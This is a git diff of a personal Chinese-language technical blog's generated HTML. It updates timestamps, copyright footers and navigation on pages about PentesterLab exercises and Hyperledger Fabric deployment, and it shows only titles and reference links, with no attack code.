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class="toc-link" href="#%E5%8F%82%E9%98%85-8"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%99%AE%E9%80%9A%E6%9D%83%E9%99%90%E6%96%87%E4%BB%B6"><span class="toc-text">普通权限文件</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-9"><span class="toc-text">参阅</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%AE%A1%E6%9F%A5"><span class="toc-text">服务审查</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%90%E8%A1%8C%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-text">运行的服务</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-10"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" 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@@ -239,7 +239,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://security.stackexchange.com/questions/29515/sqlmap-testing-http-headers">Sqlmap testing HTTP headers</a></li>
 <li><a target="_blank" rel="noopener" href="https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/">Setting up PHP-FastCGI and nginx? Don’t trust the tutorials: check your configuration!</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/05/03/Security/PentesterLab/From%20SQL%20Injection%20to%20Shell%20II/">https://jckling.github.io/2020/05/03/Security/PentesterLab/From SQL Injection to Shell II/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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@@ -278,7 +278,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html">6.2.2 Privileges Provided by MySQL</a></li>
 <li><a target="_blank" rel="noopener" href="https://dev.mysql.com/doc/refman/8.0/en/select-into.html">13.2.10.1 SELECT … INTO Statement</a></li>
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class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用">NVIDIA Omniverse Audio 系列工具使用</a><time datetime="2024-02-24T04:25:45.000Z" title="发表于 2024-02-24 12:25:45">2024-02-24</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2024/01/24/Other/%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%20Gitea%20Actions/" title="搭建本地 Gitea Actions"><img src="https://about.gitea.com/gitea-text.svg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="搭建本地 Gitea Actions"/></a><div class="content"><a class="title" href="/2024/01/24/Other/%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%20Gitea%20Actions/" title="搭建本地 Gitea Actions">搭建本地 Gitea Actions</a><time datetime="2024-01-24T09:02:46.000Z" title="发表于 2024-01-24 17:02:46">2024-01-24</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/12/12/Notes/%E5%B7%A5%E4%BD%9C%E6%80%BB%E7%BB%93/" title="工作总结"><img src="https://s2.loli.net/2024/01/06/aDmdihO2fwpQ1sS.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="工作总结"/></a><div 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index f2620a510..1374c0dfb 100644
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@@ -301,7 +301,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://askubuntu.com/questions/178521/how-can-i-decode-a-base64-string-from-the-command-line">How can I decode a base64 string from the command line?</a></li>
 <li><a target="_blank" rel="noopener" href="https://superuser.com/questions/158142/how-can-i-convert-from-hex-to-base64">How can I convert from hex to base64?</a></li>
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diff --git a/2020/05/08/Security/PentesterLab/Padding Oracle/index.html b/2020/05/08/Security/PentesterLab/Padding Oracle/index.html
index 8988be3a3..87c091f97 100644
--- a/2020/05/08/Security/PentesterLab/Padding Oracle/index.html	
+++ b/2020/05/08/Security/PentesterLab/Padding Oracle/index.html	
@@ -7,7 +7,7 @@
 <meta property="og:locale" content="zh_CN">
 <meta property="og:image" content="https://i.loli.net/2021/06/14/lpk1XZFrfGboA9P.png">
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-<meta property="article:modified_time" content="2024-05-21T10:02:48.268Z">
+<meta property="article:modified_time" content="2024-05-22T14:10:41.009Z">
 <meta property="article:author" content="Jckling">
 <meta property="article:tag" content="密码学">
 <meta property="article:tag" content="Cryptography">
@@ -63,7 +63,7 @@
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-  postUpdate: '2024-05-21 18:02:48'
+  postUpdate: '2024-05-22 22:10:41'
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@@ -318,7 +318,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="http://www.exploresecurity.com/padding-oracle-decryption-attack/">Padding Oracle Decryption Attack</a></li>
 <li><a target="_blank" rel="noopener" href="https://book.hacktricks.xyz/crypto/padding-oracle-priv">HackTricks - Padding Oracle</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/05/08/Security/PentesterLab/Padding%20Oracle/">https://jckling.github.io/2020/05/08/Security/PentesterLab/Padding Oracle/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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@@ -180,7 +180,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://www.exploit-db.com/exploits/33929">Gitlist 0.4.0 - Remote Code Execution</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/ini.core.php#ini.short-open-tag">PHP Manual - short_open_tag</a></li>
 </ul>
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@@ -197,7 +197,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201409-938">GNU Bash 远程代码执行漏洞</a></li>
 <li><a target="_blank" rel="noopener" href="https://seclists.org/oss-sec/2014/q3/650">Re: CVE-2014-6271: remote code execution through bash</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/05/09/Security/PentesterLab/CVE-2014-6271/">https://jckling.github.io/2020/05/09/Security/PentesterLab/CVE-2014-6271/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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@@ -181,7 +181,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://www.guardicore.com/2018/10/libssh-new-vulnerability-allows-authentication-bypass">LibSSHhhh, You’ve Been Exploited: A New Vulnerability Allows Authentication Bypass</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.exploit-db.com/exploits/45638">libSSH - Authentication Bypass</a></li>
 </ul>
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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/05/09/Security/PentesterLab/CVE-2018-10933/">https://jckling.github.io/2020/05/09/Security/PentesterLab/CVE-2018-10933/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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diff --git "a/2020/08/23/Blockchain/Frabic/Frabic-CA-\351\203\250\347\275\262\346\265\201\347\250\213/index.html" "b/2020/08/23/Blockchain/Frabic/Frabic-CA-\351\203\250\347\275\262\346\265\201\347\250\213/index.html"
index 75a726ba8..2e7ef6c2d 100644
--- "a/2020/08/23/Blockchain/Frabic/Frabic-CA-\351\203\250\347\275\262\346\265\201\347\250\213/index.html"
+++ "b/2020/08/23/Blockchain/Frabic/Frabic-CA-\351\203\250\347\275\262\346\265\201\347\250\213/index.html"
@@ -264,7 +264,7 @@ <h3 id="向-CA-进行登记"><a href="#向-CA-进行登记" class="headerlink" t
 <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</h1><ul>
 <li><a target="_blank" rel="noopener" href="https://hyperledger-fabric-ca.readthedocs.io/en/latest/deployguide/cadeploy.html">CA Deployment steps</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/08/23/Blockchain/Frabic/Frabic-CA-%E9%83%A8%E7%BD%B2%E6%B5%81%E7%A8%8B/">https://jckling.github.io/2020/08/23/Blockchain/Frabic/Frabic-CA-部署流程/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#Frabic-CA-%E9%83%A8%E7%BD%B2%E6%B5%81%E7%A8%8B"><span class="toc-number">1.</span> <span class="toc-text">Frabic CA 部署流程</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#TLS-CA"><span class="toc-number">1.1.</span> <span class="toc-text">TLS CA</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ORG-CA"><span class="toc-number">1.2.</span> <span class="toc-text">ORG CA</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#TLS-CA-1"><span class="toc-number">2.</span> <span class="toc-text">TLS CA</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#TLS-CA-%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%90%AD%E5%BB%BA"><span class="toc-number">2.1.</span> <span class="toc-text">TLS CA 服务器搭建</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9D%E5%A7%8B%E5%8C%96"><span class="toc-number">2.1.1.</span> <span class="toc-text">初始化</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BF%AE%E6%94%B9%E9%85%8D%E7%BD%AE"><span class="toc-number">2.1.2.</span> <span class="toc-text">修改配置</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%AF%E5%8A%A8-TLS-CA-%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">2.1.3.</span> <span class="toc-text">启动 TLS CA 服务器</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TLS-CA-%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E6%88%B7%E7%99%BB%E8%AE%B0%EF%BC%88Enroll%EF%BC%89"><span class="toc-number">2.2.</span> <span class="toc-text">TLS CA 管理员账户登记（Enroll）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%B7%E8%B4%9D%E8%AF%81%E4%B9%A6"><span class="toc-number">2.2.1.</span> <span class="toc-text">拷贝证书</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%91-TLS-CA-%E8%BF%9B%E8%A1%8C%E7%99%BB%E8%AE%B0"><span class="toc-number">2.2.2.</span> <span class="toc-text">向 TLS CA 进行登记</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Organization-CA"><span class="toc-number">3.</span> <span class="toc-text">Organization CA</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%8E%B7%E5%BE%97-TLS-%E8%AF%81%E4%B9%A6"><span class="toc-number">3.1.</span> <span class="toc-text">获得 TLS 证书</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-Organization-CA"><span class="toc-number">3.2.</span> <span class="toc-text">部署 Organization CA</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C"><span class="toc-number">3.2.1.</span> <span class="toc-text">准备工作</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9D%E5%A7%8B%E5%8C%96-1"><span class="toc-number">3.2.2.</span> <span class="toc-text">初始化</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%AF%E5%8A%A8-CA-%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">3.2.3.</span> <span class="toc-text">启动 CA 服务器</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CA-%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E6%88%B7%E7%99%BB%E8%AE%B0%EF%BC%88Enroll%EF%BC%89"><span class="toc-number">3.3.</span> <span class="toc-text">CA 管理员账户登记（Enroll）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%91-CA-%E8%BF%9B%E8%A1%8C%E7%99%BB%E8%AE%B0"><span class="toc-number">3.3.1.</span> <span class="toc-text">向 CA 进行登记</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">4.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/08/23/Blockchain/Frabic/Frabic-CA-%E9%83%A8%E7%BD%B2%E6%B5%81%E7%A8%8B/">https://jckling.github.io/2020/08/23/Blockchain/Frabic/Frabic-CA-部署流程/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#Frabic-CA-%E9%83%A8%E7%BD%B2%E6%B5%81%E7%A8%8B"><span class="toc-number">1.</span> <span class="toc-text">Frabic CA 部署流程</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#TLS-CA"><span class="toc-number">1.1.</span> <span class="toc-text">TLS CA</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ORG-CA"><span class="toc-number">1.2.</span> <span class="toc-text">ORG CA</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#TLS-CA-1"><span class="toc-number">2.</span> <span class="toc-text">TLS CA</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#TLS-CA-%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%90%AD%E5%BB%BA"><span class="toc-number">2.1.</span> <span class="toc-text">TLS CA 服务器搭建</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9D%E5%A7%8B%E5%8C%96"><span class="toc-number">2.1.1.</span> <span class="toc-text">初始化</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BF%AE%E6%94%B9%E9%85%8D%E7%BD%AE"><span class="toc-number">2.1.2.</span> <span class="toc-text">修改配置</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%AF%E5%8A%A8-TLS-CA-%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">2.1.3.</span> <span class="toc-text">启动 TLS CA 服务器</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TLS-CA-%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E6%88%B7%E7%99%BB%E8%AE%B0%EF%BC%88Enroll%EF%BC%89"><span class="toc-number">2.2.</span> <span class="toc-text">TLS CA 管理员账户登记（Enroll）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%B7%E8%B4%9D%E8%AF%81%E4%B9%A6"><span class="toc-number">2.2.1.</span> <span class="toc-text">拷贝证书</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%91-TLS-CA-%E8%BF%9B%E8%A1%8C%E7%99%BB%E8%AE%B0"><span class="toc-number">2.2.2.</span> <span class="toc-text">向 TLS CA 进行登记</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Organization-CA"><span class="toc-number">3.</span> <span class="toc-text">Organization CA</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%8E%B7%E5%BE%97-TLS-%E8%AF%81%E4%B9%A6"><span class="toc-number">3.1.</span> <span class="toc-text">获得 TLS 证书</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2-Organization-CA"><span class="toc-number">3.2.</span> <span class="toc-text">部署 Organization CA</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C"><span class="toc-number">3.2.1.</span> <span class="toc-text">准备工作</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9D%E5%A7%8B%E5%8C%96-1"><span class="toc-number">3.2.2.</span> <span class="toc-text">初始化</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%AF%E5%8A%A8-CA-%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="toc-number">3.2.3.</span> <span class="toc-text">启动 CA 服务器</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CA-%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E6%88%B7%E7%99%BB%E8%AE%B0%EF%BC%88Enroll%EF%BC%89"><span class="toc-number">3.3.</span> <span class="toc-text">CA 管理员账户登记（Enroll）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%91-CA-%E8%BF%9B%E8%A1%8C%E7%99%BB%E8%AE%B0"><span class="toc-number">3.3.1.</span> <span class="toc-text">向 CA 进行登记</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">4.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div 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diff --git "a/2020/09/05/Blockchain/Frabic/Fabric-\346\265\213\350\257\225\347\275\221\347\273\234/index.html" "b/2020/09/05/Blockchain/Frabic/Fabric-\346\265\213\350\257\225\347\275\221\347\273\234/index.html"
index 037a60cfe..4479869ab 100644
--- "a/2020/09/05/Blockchain/Frabic/Fabric-\346\265\213\350\257\225\347\275\221\347\273\234/index.html"
+++ "b/2020/09/05/Blockchain/Frabic/Fabric-\346\265\213\350\257\225\347\275\221\347\273\234/index.html"
@@ -311,7 +311,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://hyperledger-fabric.readthedocs.io/zh_CN/release-2.2/orderer/ordering_service.html">排序服务</a></li>
 <li><a target="_blank" rel="noopener" href="https://stackoverflow.com/questions/16956810/how-do-i-find-all-files-containing-specific-text-on-linux">How do I find all files containing specific text on Linux?</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/09/05/Blockchain/Frabic/Fabric-%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C/">https://jckling.github.io/2020/09/05/Blockchain/Frabic/Fabric-测试网络/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%89%8D%E8%A8%80"><span class="toc-number">1.</span> <span class="toc-text">前言</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83"><span class="toc-number">2.</span> <span class="toc-text">实验环境</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C"><span class="toc-number">3.</span> <span class="toc-text">部署测试网络</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BB%BA%E7%AB%8B%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C"><span class="toc-number">3.1.</span> <span class="toc-text">建立测试网络</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA%E9%80%9A%E9%81%93"><span class="toc-number">3.2.</span> <span class="toc-text">创建通道</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%80%9A%E9%81%93%E4%B8%8A%E5%90%AF%E5%8A%A8%E9%93%BE%E7%A0%81"><span class="toc-number">3.3.</span> <span class="toc-text">通道上启动链码</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%8E%E7%BD%91%E7%BB%9C%E4%BA%A4%E4%BA%92"><span class="toc-number">3.4.</span> <span class="toc-text">与网络交互</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Org1"><span class="toc-number">3.4.1.</span> <span class="toc-text">Org1</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Ogr2"><span class="toc-number">3.4.2.</span> <span class="toc-text">Ogr2</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%81%9C%E6%AD%A2%E7%BD%91%E7%BB%9C"><span class="toc-number">3.5.</span> <span class="toc-text">停止网络</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6"><span class="toc-number">4.</span> <span class="toc-text">部署智能合约</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%90%AD%E5%BB%BA%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C"><span class="toc-number">4.1.</span> <span class="toc-text">搭建测试网络</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%89%93%E5%8C%85%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6"><span class="toc-number">4.2.</span> <span class="toc-text">打包智能合约</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6"><span class="toc-number">4.3.</span> <span class="toc-text">安装智能合约</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Org1-1"><span class="toc-number">4.3.1.</span> <span class="toc-text">Org1</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Org2"><span class="toc-number">4.3.2.</span> <span class="toc-text">Org2</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" 